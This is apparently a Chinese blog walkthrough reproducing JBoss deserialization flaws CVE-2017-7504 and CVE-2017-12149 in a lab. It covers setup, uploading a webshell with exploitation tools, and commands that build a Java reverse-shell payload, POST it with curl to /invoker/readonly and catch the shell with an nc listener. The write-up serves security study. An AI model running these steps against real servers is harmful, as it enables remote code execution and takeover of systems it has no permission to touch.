vlambda博客
学习文章列表

JBoss漏洞复现整理

JBoss环境搭建

JDK默认安装即可安装

JRE 环境变量配置

直接编辑“用户环境变量”中path环境变量,在其中直接新增一个JRE中bin目录的绝对位置即可(C:\Program Files\Java\jre1.8.0_66)

JBoss 环境配置与部署

下载好安装包直接解压缩

JBoss 环境变量配置

添加环境变量

(1)JAVA_HOME变量

1.变量名:JAVA_HOME:

2.变量值:C:\Program Files\Java\jdk1.8.0_66

(2)JBOSS_HOME变量

1.变量名:JBOSS_HOME

2.变量值:C:\jboss-4.2.1.GA

(3)CLASSPATH变量

1.变量名:CLASSPATH

2.变量值:C:\jboss-4.2.1.GA\bin\run.jar

JBOSS 服务访问

JBoss 服务启动测试

全局环境变量添加结束后,我们再次尝试打开JBoss服务启动脚本,启动JBoss服务,看到如下图关键信息,即表示服务启动成功。

JBoss漏洞复现整理

JBoss 远程访问报错

通过对jboss服务的访问测试发现,jboss服务默认只接受本地(127.0.0.1:8080)的访问,远程主机访问jboss 8080服务会报“拒绝访问”

Jboss 远程访问配置

经过相关的查询,发现jboss 从4.0版本后,其默认配置是拒绝远程主机对jboss应用服务的直接访问的,如果需要访问,必须做相应的设置,具体办法见以下内容。

使用CMD命令带参数运行run.bat -b 0.0.0.0

可以通过外网访问

JBoss漏洞复现整理

漏洞利用条件

有关 JBoss 反序列化漏洞利用条件,

(1)JBossJMXInvokerServlet接口(默认8080端口)以及JBoss Web Console (/web-console/) 是否禁止对外;

(2)以上系统是否都有在传输对象内容时,使用序列化技术(二进制流或base64encode)

(3)当对这些传输数据截包并且被替换为“包含命令执行的序列化内容”时,远程命令执行即触发。

jboss-4.2.2.GA版本全部为不符合

CVE-2017-7504漏洞复现

一、漏洞描述

Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

使用JBoss反序列化漏洞检测工具

信息获取

通过信息获取功能,我们可以直接获取到系统、当前管理员权限以及当前用户目录位置等关键信息。

JBoss漏洞复现整理

上传菜刀shell,获取主机权限

在不知道jboss web根目录的情况下,默认任何上传的文件,其存放的位置可能都是在$_jboss/bin 目录下(具体路径,可直接查看信息获取中给出的信息“User Currrent Directory”),所以我们首先可以使用“列目录”的功能收集下jboss web的真是根目录位置信息。

一般情况jboss默认安装的情况,其目录位置路径如下:

"$_jboss/server/default/deploy/jboss-webdeployer/ROOT.war/"

  • jbos web 根目录路径信息收集

JBoss漏洞复现整理

JBoss反序列化漏洞getshell工具

JBoss漏洞复现整理

蚁剑连接成功

JBoss漏洞复现整理

CVE-2017-12149漏洞复现

漏洞描述:JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。

影响版本:Jboss AS 5.x Jboss AS 6.x

搭建Jboss AS 5.x ,Jboss AS 6.x方法同上

JBoss漏洞复现整理


JBoss漏洞复现整理

使用Jboss漏洞测试工具测试CVE-2017-12149成功。

JBoss漏洞复现整理

使用JavaDeserH2HC工具进行漏洞利用

首先检测目录,访问链接(http://192.168.23.129:8080/invoker/readonly)

可以看到是返回 500,一般漏洞就是存在

JBoss漏洞复现整理

执行生成二进制文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

添加反弹shell的IP和端口

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port

这个时候会同目录下生成一个ReverseShellCommonsCollectionsHashMap.ser文件,curl 这个二进制文件

curl http://192.168.23.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

nc进行监听

nc -vlp 4444

nc反弹回shell